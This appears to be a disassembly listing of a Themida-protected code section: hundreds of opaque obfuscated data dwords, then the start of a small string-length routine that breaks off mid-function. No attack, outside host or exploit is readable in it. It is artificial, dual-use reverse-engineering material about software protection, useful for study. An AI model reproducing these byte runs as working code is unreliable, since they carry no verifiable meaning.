		dd 0BB000000h, 513EF58Dh, 29A1BA50h, 448B1FCEh,	8B660424h
		dd 50008BDFh, 0E9525052h, 0Ch, 244E307Ah, 0E3E4EF8Eh, 1E6A4F86h
		dd 5250310Fh, 585A310Fh, 310F585Ah, 11E956h, 19180000h
		dd 0DEBB9C7Bh, 6376F6B5h, 0A740732Ah, 5BC5A962h, 4489585Ah
		dd 0DFBB0424h, 582123FBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 1AC35242h, 0A7717A6Eh, 11E960h, 0D0CB0000h
		dd 14B54477h, 605376A6h, 75489DB2h, 0E834ECD7h,	0Ch, 5F4F2183h
		dd 33005787h, 0B1C53559h, 5E9h,	0D56BE200h, 615F2F6Dh
		dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 95FFECC3h, 6031369h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0D1C35545h,	0B5FBDA57h, 6A611501h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0C8F6C356h, 0CB1B49D7h, 1A2861h, 30D995FFh
		dd 66600603h, 29812FBBh, 3092DBDh, 8D8B6106h, 6034CDDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0AFC35040h
		dd 8AA5B87Ah, 8901FE20h, 30E759Dh, 5DBD8306h, 1060300h
		dd 9850Fh, 860F0000h, 3, 8BDA8B66h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 9BAAD27Bh
		dd 9D8B3F40h, 6033089h,	4E5BD83h, 75000603h, 39BD8309h
		dd 60323h, 53501A74h, 858BC08Bh, 6031A9Dh, 1A9D8589h, 9D8D0603h
		dd 605B5BFh, 585BD3FFh,	2339BD83h, 74000603h, 8B535018h
		dd 31A9D85h, 9D858906h,	8D06031Ah, 5B2AE9Dh, 5BD3FF06h
		dd 918D8958h, 6A060321h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 3887C355h, 0D5926D76h
		dd 8589600Eh, 6032C81h,	8558589h, 8B610603h, 26E280C0h
		dd 2195BD83h, 0F000603h, 4985h,	6E85600h, 0EE000000h, 4C24B435h
		dd 13E98Dh, 3C9C0000h, 75F9D56Fh, 0A656974Eh, 0C33BCE10h
		dd 924C5302h, 835B5A1Eh, 32435BDh, 840F0006h, 16h, 3CFCBB66h
		dd 0AE8h, 3D3D9C00h, 6B2F4154h,	8B481A60h, 0BD835BDFh
		dd 6032195h, 2E840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DFDEC356h
		dd 0BD83D72Ah, 6030471h, 2840F00h, 0B3000000h, 95BD8377h
		dd 60321h, 38840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 170424h, 53430000h, 8FED0AC3h, 49952B60h
		dd 0F8060325h, 471BD83h, 0F000603h, 584h, 0C2816600h, 0BD835E7Ch
		dd 6032195h, 1F840F00h,	89000000h, 330C98Dh, 41BD8306h
		dd 60308h, 0C840Fh, 958B0000h, 60313C9h, 2E199533h, 0BD830603h
		dd 6032195h, 1B840F00h,	0B6000000h, 1DBD83FBh, 60307h
		dd 0C840Fh, 85890000h, 60332BDh, 0DD595FFh, 0C08B0603h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 73C35040h
		dd 0E5BD8361h, 60304h, 0BD830975h, 6032339h, 501A7400h
		dd 8BC08B53h, 3073985h,	39858906h, 8D060307h, 5B6269Dh
		dd 5BD3FF06h, 39BD8358h, 60323h, 53501874h, 739858Bh, 85890603h
		dd 6030739h, 0B2C79D8Dh, 0D3FF0605h, 0BE8585Bh,	70000000h
		dd 16A764D5h, 964828CFh, 0BF0F5068h, 85895ADAh,	603239Dh
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 68BC86C3h, 0B01B8006h, 18719D89h,	0BD830603h
		dd 6032195h, 24840F00h,	8B000004h, 69BD83D0h, 2060326h
		dd 48840Fh, 8C0F0000h, 0Bh, 6E9h, 0F26EC200h, 83A9FEF3h
		dd 307CDBDh, 850F0106h,	2Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 59C35141h, 990DAA14h, 0A7364A90h
		dd 2A719D8Bh, 0BD830603h, 60304F1h, 84840F00h, 0BB000000h
		dd 1A2926B8h, 2ED18D01h, 0E9600603h, 0Ah, 0A7D2E693h, 26AE6964h
		dd 8D8BCC4Ah, 6034CDDh,	8810Fh,	8C0F0000h, 2, 1FEF6B6h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B7C35242h
		dd 8589F89Dh, 603244Dh,	594C9D68h, 24348154h, 54594C1Dh
		dd 6E8h, 39654000h, 8B1B3413h, 0FF6A5BDEh, 0DE80EA81h
		dd 95FF7289h, 6031369h,	1A118D01h, 60610603h, 8BD38B66h
		dd 34CDD8Dh, 81B52906h,	0FE060320h, 1C870F01h, 0F000000h
		dd 1685h, 11E900h, 0EB610000h, 0D357D0h, 7A594E5Fh, 0D3C22402h
		dd 680018DDh, 0CB34259h, 0AE8h,	5269300h, 79D6BEAh, 5AF98C37h
		dd 0D9243481h, 8B0CB342h, 89FF6ADAh, 30AFD85h, 6995FF06h
		dd 61060313h, 0C9BD2960h, 3060315h, 30B09BDh, 66606106h
		dd 0E86F16B9h, 0Fh, 0C9F9FA8h, 0D0F64717h, 6DD4B708h, 8087C9F8h
		dd 615E51DDh, 501BD8Dh,	8BF50603h, 6A1C4Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 61F8D5C3h
		dd 29D98B66h, 308498Dh,	81016A06h, 0C01AE7CAh, 6810F67h
		dd 8B000000h, 300059Dh,	0D18B5006h, 6A240C89h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 8309C357h, 6699CB73h, 398FDA81h, 3A6C858Dh, 0F1BB0606h
		dd 0FF361493h, 99509D0h, 8B060307h, 0EEB6204Fh,	50036AFCh
		dd 8B665250h, 0E9310FD3h, 12h, 0C9206153h, 0CC27915Fh
		dd 25165DF0h, 9831BD16h, 585A5156h, 6A240C89h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 28B8C357h, 0D380981Bh, 6C858DF7h, 0E906063Ah, 8, 0CBB6E9EAh
		dd 990EEF2h, 0BD89D0FFh, 6031A1Dh, 501BD8Dh, 958B0603h
		dd 60312FDh, 661C4F8Bh,	0D6F5E281h, 6A016Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B598C3h
		dd 0DF4FA1E1h, 880FD855h, 3, 915CC380h,	8E85250h, 0FF000000h
		dd 8057077Dh, 6005E202h, 310F5A61h, 585AF58Ah, 21BBBB50h
		dd 669117FFh, 8DF3C1BAh, 63A6C85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 29C6CDDFh
		dd 39100730h, 0C780B5D0h, 29D0FF80h, 31D2995h, 204F8B06h
		dd 13AD958Bh, 78BA0603h, 6A1323FAh, 53006A03h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h
		dd 0A227D7E6h, 0E92295D1h, 9, 159B656Ah, 673768A3h, 0AE9506Bh
		dd 0
		dd 0D1F1BA01h, 0A8B3D4Ah, 240C8907h, 5BDC8A57h,	3A6C858Dh
		dd 800F0606h, 6, 909958Bh, 0D0FF0603h, 18882ABBh, 0DD8D8B15h
		dd 6606034Ch, 4CAFCB81h, 6A01FEh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0FDFEDFC3h, 66600B82h
		dd 0E956CB8Bh, 0Ah, 0C5B652Ah, 77914F93h, 615AD54Fh, 4CDD858Bh
		dd 0DE90603h, 0AB000000h, 75EDBB0h, 1F0C877Eh, 9614E582h
		dd 0C38100FEh, 1EBB22E6h, 9D0B016Ah, 6030A5Dh, 9F101168h
		dd 6E9E5h, 0DDD00000h, 0B4C2F707h, 0EE243481h, 8B1A608Fh
		dd 3057195h, 76858D06h,	8106063Ah, 0BE4596F2h, 6AD0FF2Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0B69BC357h, 83F6B8A5h, 32435BDh, 840F0006h
		dd 123h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 16h,	0C1C35646h, 8E96B26h, 53000000h, 0BC88F68Fh, 83E2820Ah
		dd 31D89BDh, 850F0106h,	0EBh, 26BD952Bh, 8D8D0603h, 6063A80h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4AC35646h
		dd 145A4F76h, 8A0F925Dh, 4, 6A98BA66h, 0F281036Ah, 69B473F4h
		dd 0FE9h, 8CF7600h, 0D420B69Ch,	731728D4h, 8651973Fh, 0D281016Ah
		dd 2CF0B845h, 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 509CA2C3h, 85897C0Fh, 60302C1h
		dd 1DA59D8Bh, 16A0603h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0ECC35646h, 0D2480425h, 9D8B2189h, 60315B1h
		dd 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 5F0B1FC3h, 2D958B63h, 0FF060308h,	0C18D89D1h
		dd 0E8060324h, 0FA585D41h, 6A9BCB80h, 55006A20h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 9D8B560Bh, 6033095h,	9E95Ah,	1B5C0000h, 0CBA55B9Ch
		dd 8A45B67Bh, 60FF6AFCh, 2D6D858Bh, 0C4800603h,	95FF61E3h
		dd 6031369h, 0B8E9E780h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0ACC35040h
		dd 0B71547CCh, 1F65B65Bh, 0C00BF98Ah, 66840Fh, 89600000h
		dd 3087DB5h, 8A0F5706h,	0
		dd 0F8606159h, 0CB9FACB9h, 0BD836121h, 6031DF9h, 41840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0CE22C350h, 1CF995FFh,	6A0603h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0D10045C3h, 23ED858Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8A85CBC3h, 0C6F0h, 6A58F18Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0CCCFC355h, 2952F918h, 320B185h, 0B7F38106h
		dd 66647BA2h, 6656D98Ch, 5A69DDBBh, 0F04C1F6h, 5584h, 1D958B00h
		dd 0E9060329h, 4Ah, 30F1952Bh, 0B58B0603h, 6031C99h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 88C35343h, 5C0CF6DBh
		dd 89BDA0F3h, 321358Dh,	80C68106h, 80000011h, 6C72AE2h
		dd 0
		dd 1AB99D0Bh, 0F5E0603h, 38Ah, 5EC38000h, 0F00F883h, 0B7984h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0A2A99914h, 0C9E15873h, 3870F8Eh, 66000000h
		dd 83F9D38Bh, 850F01F8h, 159h, 9E9h, 479E0200h,	86984107h
		dd 0B83966h, 0E8000000h, 6, 0EDFC08AFh,	95897A61h, 6032DA9h
		dd 0FC00B5Bh, 0DC84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0F883D079h, 0CA840F01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8BDDC356h, 3302D9Dh, 3F88306h
		dd 4E840Fh, 0E7BA0000h,	0B8055223h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 70C35545h
		dd 0D0170FF1h, 25599D31h, 0BD8D0603h, 5B7974h, 16399D8Bh
		dd 0E7FF0603h, 95895160h, 6030C81h, 0B985335Bh,	6106030Eh
		dd 1B8h, 0E99D8B00h, 8D06032Dh,	5B7974BDh, 0FFBAB300h
		dd 52006AE7h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 7818E57Eh, 9D8BC798h, 6032E41h, 69BD8DF5h
		dd 89060343h, 306E995h,	27AE906h, 8AFC0000h, 3885C7D1h
		dd 506034Dh, 8B000000h,	30B2995h, 71E28006h, 5B8h, 14E900h
		dd 2AF20000h, 6D6719ECh, 616C04B9h, 2DF1FE8Bh, 8BAC15BAh
		dd 32E93A5Bh, 1000009h,	305859Dh, 2F88306h, 0EE850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0B8FF6EC3h, 0
		dd 0D5FD9DBBh, 0FC00B5Dh, 6584h, 83D38B00h, 840F01F8h
		dd 0FFFFFF81h, 0D8DAD381h, 0F8831B5Bh, 21840F03h, 89FFFFFFh
		dd 32E8D9Dh, 0B806h, 958B0000h,	603049Dh, 7974BD8Dh, 6A005Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0F835DAC3h, 0B08134C1h, 0F5DAFBD1h, 2B60E7FFh, 32E95BDh
		dd 5DBE6606h, 0BD8D6168h, 6034561h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 8CC35545h, 130D9D01h, 81660603h
		dd 0E9E1AADAh, 16Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0E6C35747h, 5306CD9Fh, 9D8B2870h, 6032939h
		dd 0F03F883h, 1B85h, 8DDA8B00h,	346F5BDh, 2DE9F806h, 0E9000001h
		dd 8, 9CCEAB7Eh, 6E620A9Ch, 0F05F883h, 3485h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0BD7C795Dh, 9E39DEFh, 0C3818586h, 62750748h,	7D8E9h
		dd 8FBB6600h, 6F8837Fh,	2D850Fh, 81660000h, 0E93640D3h
		dd 13h,	51588380h, 841E9FA1h, 223E5005h, 7390D873h, 8D6CB046h
		dd 348EDBDh, 0EDEA8006h, 0AFE9h, 838EB200h, 850F07F8h
		dd 75h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 33C35545h, 8D773182h, 300B5BDh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 77345F86h
		dd 451B93F8h, 85895655h, 6031719h, 0DFE9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 6B6AAABBh, 0AF8831Dh, 26850Fh, 8E0F0000h, 6,	1A119D8Bh
		dd 0B5890603h, 6031751h, 4AE5BD8Dh, 9D230603h, 603036Dh
		dd 2E9F9h, 0D38B0000h, 5BEB8057h, 9C621BB9h, 61BD2974h
		dd 0BA060300h, 5A0DE212h, 0F003F83h, 5B84h, 0DA8B6600h
		dd 6A0F30h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 9ABF62C3h, 3CFEBCBCh, 6AC9D171h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0E3D6C356h, 0B70FEFF8h, 0D28047D2h, 0FFA2E9A7h, 0B589FFFFh
		dd 60330E5h, 0AE85Fh, 0C5FA0000h, 42AF8BC0h, 0F0C4726Eh
		dd 0B959589h, 0F85B0603h, 4CE1BD89h, 95090603h,	6030075h
		dd 2FB18D8Dh, 0FFF50603h, 30779B5h, 48A0F06h, 52000000h
		dd 8D5A5B57h, 5A75885h,	0BD8D5006h, 6035391h, 6E9C8D8Dh
		dd 0BCB80603h, 2B54831Ah, 0D00730CFh, 754947C8h, 47B58DF8h
		dd 8D06036Eh, 36EB48Dh,	0F3CF2B06h, 0B8C933A4h,	0
		dd 4674C00Bh, 1DF9BD83h, 74000603h, 0F995FF06h,	8B06031Ch
		dd 34CE1B5h, 58858D06h,	0FF0605A7h, 3E858DD0h, 0FF060341h
		dd 5585C7D0h, 106030Eh,	8B000000h, 32125A5h, 31B58B06h
		dd 8B060329h, 32969ADh,	0C2C03306h, 6A000Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0EE524DC3h
		dd 64BA9230h, 0AE9BEA81h, 0BD83397Ah, 6030589h,	52840F00h
		dd 0F000000h, 68Dh, 3DBD0100h, 0FF060314h, 3191595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 7B45196Ah, 0EBA16578h, 0D2B70F90h, 14E9h, 0F5B6EB00h
		dd 1D195246h, 98FE002Ch, 3CC6669Dh, 0A9E3FD79h,	0C1BD8384h
		dd 6030Ch, 21B850Fh, 958B0000h,	6032A0Dh, 0FE9h, 49AD3C00h
		dd 3527C051h, 0FA94E743h, 60BFC8EEh, 1D89BD83h,	0F010603h
		dd 1F485h, 95896000h, 6030F95h,	68F0Fh,	880F0000h, 0
		dd 0CDBD8361h, 60314h, 1D3840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 6D2F33C3h
		dd 76EC99B1h, 0B5317449h, 6032EB9h, 4D34BD83h, 0F000603h
		dd 19C84h, 958D0100h, 8D06031Dh, 5A75885h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 2EEC9182h, 0B58BD55Ch, 6034CE1h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 84C35747h, 1ACB1E7Ch, 0AEBD3541h
		dd 6ECBA32h, 3CB60FCDh,	0C6F8D0FFh, 31BA185h, 66575406h
		dd 0E85BD68Bh, 4, 0FF4EBEF4h, 50585660h, 0F5B5252h, 5A616031h
		dd 0E8506158h, 9, 8875EB84h, 2A361775h,	52505388h, 585A310Fh
		dd 448B5A5Bh, 0EE80424h, 5B000000h, 0DF8355A0h,	1EF40E79h
		dd 44A5CAF3h, 14E8E3h, 86D20000h, 0DF3B7A58h, 92AEDDA1h
		dd 0EE7599D8h, 645A7F51h, 77B3E1F2h, 8B5A5Ah, 0A8C0Fh
		dd 880F0000h, 4, 2254BA66h, 4244489h, 0E858DE8Bh, 11h
		dd 396BD6A5h, 25243BE9h, 0BA9A350Ch, 4D72215Ch,	2D958B8Ah
		dd 5B060331h, 2E1B5FFh,	6A0603h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 6EA6BCC3h, 1A42630Eh
		dd 858D7FB2h, 60338E0h,	2D419D8Bh, 0D0FF0603h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 9EC35040h, 958BEA59h
		dd 603291Dh, 8B66006Ah,	66FF6ADFh, 6616DCBAh, 0F38CEA81h
		dd 0FFF9D0FFh, 306E5B5h, 0FE906h, 18200000h, 5DC465EDh
		dd 7AD2AB82h, 0ADF433CDh, 7995FFF1h, 89060307h,	31D959Dh
		dd 0E1B58B06h, 0E806034Ch, 0Fh,	0AC5BC517h, 0A6EBFFD1h
		dd 83BF21D3h, 600A6609h, 1B419D89h, 950B0603h, 6032909h
		dd 0BAC35A61h, 0D17F03h, 23EDB58Bh, 0C6800603h,	0FF60B37h
		dd 1084h, 8E0F6000h, 3,	61C68B66h, 0B70006C6h, 0E98589EAh
		dd 8906034Ch, 306B1BDh,	0F88306h, 364840Fh, 81660000h
		dd 0B89522E2h, 0
		dd 12E8h, 21D88A00h, 4D21D116h,	0F76C3237h, 0A7DEDD11h
		dd 52879F20h, 4EE28166h, 835A5BD2h, 840F00F8h, 0BFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 30C35040h, 89FC75F7h
		dd 3224595h, 0A99D8B06h, 83060316h, 850F02F8h, 75h, 0B886BB60h
		dd 8D8B4C85h, 6031C4Dh,	64858D61h, 29060343h, 31A75B5h
		dd 9292D06h, 81660000h,	905EF7DBh, 5820Fh, 2DBB0000h, 5037EFD1h
		dd 0EB8FBA66h, 68D0F90h, 8B000000h, 30DFD9Dh, 6AC306h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 39E81CC3h, 1BAF9AB8h, 29F92AE1h, 31B499Dh, 89D18A06h
		dd 30B3585h, 0B806h, 9D890000h,	60300A1h, 162D958Bh, 73E90603h
		dd 0B8000002h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0ADC35646h, 69BD8D06h, 89060343h, 318E99Dh, 0C8E906h
		dd 958B0000h, 60302F1h,	0F02F883h, 5585h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 0CB756473h, 8DA1B72Bh, 34561BDh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 4254A8B9h
		dd 4A08AD55h, 57CB8166h, 64E991h, 0F8830000h, 3E850F03h
		dd 8B000000h, 32F519Dh,	0F5BD8D06h, 6A060346h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 8FBAC351h, 8C0FED77h, 3, 0E9D18B66h,	22h, 0F7EF2DBBh
		dd 5F88337h, 14850Fh, 8B660000h, 0C7E9DEh, 870F0000h, 6
		dd 0BF58D89h, 0F570603h, 982h, 3850F00h, 0F000000h, 1BB9D9B7h
		dd 66749C62h, 6BCBDA81h, 0F003F83h, 9884h, 0ED958B00h
		dd 2B060315h, 3215D95h,	660F3006h, 582AF381h, 0CE9h, 6CC05000h
		dd 7365929Dh, 3098685h,	6AC9D182h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 547EC356h
		dd 371B55C8h, 68F0FC0h,	8B000000h, 32F1995h, 6A4706h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 18E7B7C3h, 0E6F4160Ah, 58E0F3Dh, 0BB000000h,	7D89E543h
		dd 0FFFF6FE9h, 0BE9FFh,	6CC60000h, 0BF6FC62Bh, 0F725B1C1h
		dd 5F88350h, 0B4850Fh, 0BA660000h, 8C660F2Fh, 870F60D9h
		dd 2, 0AE96160h, 0A6000000h, 0DAD97C35h, 0BA6C47ADh, 0C1F661BEh
		dd 55850F04h, 31000000h, 309259Dh, 0B806h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0FE2BC4C3h, 5CE991h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F9F9CC3h, 384h, 0D2BF0F00h
		dd 1FB9858Bh, 95310603h, 60315A5h, 6AE0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D2965C3h
		dd 60326A9h, 30F18589h,	0BD830603h, 6030779h, 0C4850F00h
		dd 81000000h, 0B42178D2h, 0C5B29042h, 0FE850h, 68DB0000h
		dd 4A64323Fh, 0FC3D5552h, 3B5ADF0h, 3905B8Eh, 3251995h
		dd 0A185C606h, 4506031Bh, 3941BA66h, 8EAA0268h,	0C0BA66BEh
		dd 2434818Ah, 30FCC36Bh, 8BD98B66h, 32A399Dh, 0E1B5FF06h
		dd 89060302h, 3146185h,	0A6E28106h, 8D65AA9Bh, 338E085h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 67755817h, 7E9D0FFh, 0AC000000h,	27D7E63Eh
		dd 8C0FD1A2h, 2, 8589D68Bh, 6030779h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D5C35545h,	1061BFEh, 58F54DB3h
		dd 83D2B70Fh, 34D38BDh,	840F0006h, 6Bh,	0E5B5FFF5h, 0F060306h
		dd 88Bh, 85895700h, 6030571h, 12E85Bh, 8DA60000h, 0FFB9F68Eh
		dd 0F1FBA6C3h, 3D0AF920h, 0E49373CBh, 378DCA81h, 0FF5B75B3h
		dd 3077995h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 37780D23h, 6E877h, 2D490000h, 0AD0342C2h
		dd 6BA0F381h, 835A38A1h, 850F00F8h, 0CDh, 83DF8B66h, 30BCDBDh
		dd 840F0006h, 90h, 6810Fh, 0BD890000h, 603166Dh, 0BCDB5FFh
		dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 4DD18AC3h, 9E9h, 7405F000h, 0A2655B5Ch, 1B8DA97h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 5A19C350h, 0A76B043Eh,	0AE8h
		dd 72B95300h, 465D2035h, 29EB740Ah, 30421B5h, 0B5095B06h
		dd 6030741h, 223E9h, 0E9D1BA00h, 958B0A87h, 6030C15h, 6E5B5FFh
		dd 85890603h, 6032085h,	6E5B5FFh, 0BD890603h, 6031D95h
		dd 779B5FFh, 0BB660603h, 0F1E98969h, 89000001h,	308D195h
		dd 81665F06h, 0FE5E2F2h, 686h, 45958B00h, 83060318h, 318A1BDh
		dd 850F0006h, 139h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 9BC35747h, 0AF8FE2DCh, 0B16C3446h, 2EB99D89h
		dd 840F0603h, 0
		dd 1BA185C6h, 0F4D0603h, 288h, 0E822B300h, 4, 0A43576A8h
		dd 5050B6B3h, 0BE852h, 7B360000h, 1DA9EA33h, 0A5C5E17Ch
		dd 5A6160F5h, 8B53310Fh, 585A5AD0h, 424448Bh, 0F18B6660h
		dd 61D68B66h, 12E9008Bh, 0CC000000h, 5F86976h, 9701278Ch
		dd 0C5704633h, 0C0A7BE8Eh, 2444891Dh, 0CE86004h, 6000000h
		dd 0FF808A05h, 44681A80h, 66B38904h, 5E9824BAh,	0CB55250h
		dd 585A310Fh, 8B665861h, 418509D8h, 0FF06032Eh,	33121B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0C224027Ah, 18DDD3h, 0B70F122Ah,	0E0858DDBh
		dd 6A060338h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 56C356h, 2C53E2F8h, 0FFEAE780h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0A1858952h, 8B060318h, 0B8DAh, 9D890000h
		dd 6032149h, 4CE1BD89h,	95010603h, 60303D9h, 840FC00Bh
		dd 30h,	0BDE666BBh, 6AE929h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 24B688C3h
		dd 9D0B0936h, 6032211h,	779B5FFh, 8D0F0603h, 1,	58858DF9h
		dd 660605A7h, 9CF7D381h, 0EE990h, 5BBF0000h, 0FDF6EABEh
		dd 0DDD60FCAh, 0C92CB43Dh, 0F525050h, 280h, 0FF58A00h
		dd 0E4C0BB31h, 585A23F0h, 0D98B6690h, 0BD8D5650h, 6035391h
		dd 799C8D8Dh, 0BCB80603h, 2B748323h, 0D00730CFh, 754947C8h
		dd 83585EF8h, 30BCDBDh,	6740006h, 1B918D8Bh, 0C9330603h
		dd 0B8h, 0FC00B00h, 9984h, 0F9BD8300h, 6031Dh, 95FF0674h
		dd 6031CF9h, 0B8h, 75C00B00h, 0E9BD8309h, 106034Ch, 0BD830974h
		dd 6034CE9h, 8B0E7502h,	34CE1B5h, 58858D06h, 0FF0605A7h
		dd 3E858DD0h, 0FF060341h, 69BD83D0h, 2060326h, 0A58B2F75h
		dd 6032125h, 0BCD858Bh,	4890603h, 5585C724h, 106030Eh
		dd 8B000000h, 34CE5B5h,	69AD8B06h, 0B8060329h, 1, 0EB000CC2h
		dd 5585C700h, 106030Eh,	8B000000h, 32125A5h, 31B58B06h
		dd 8B060329h, 32969ADh,	0C2C03306h, 0BD83000Ch,	6030589h
		dd 830F7400h, 31915BDh,	6740006h, 191595FFh, 0B58B0603h
		dd 6034CE1h, 56006AC3h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0CF176445h, 776B3423h, 0CA816679h
		dd 0BD897F73h, 60325D1h, 0EB56EB81h, 2BF91966h,	53006AD2h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 368B392Dh, 0DA816686h
		db 0F2h, 34h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_4F2B76
; ---------------------------------------------------------------------------

loc_4F2B74:				; CODE XREF: Themida_:004F2B79j
		inc	eax
		inc	edi

loc_4F2B76:				; CODE XREF: Themida_:004F2B72j
		cmp	byte ptr [edi],	0
		jnz	short loc_4F2B74
		xor	ecx, ecx
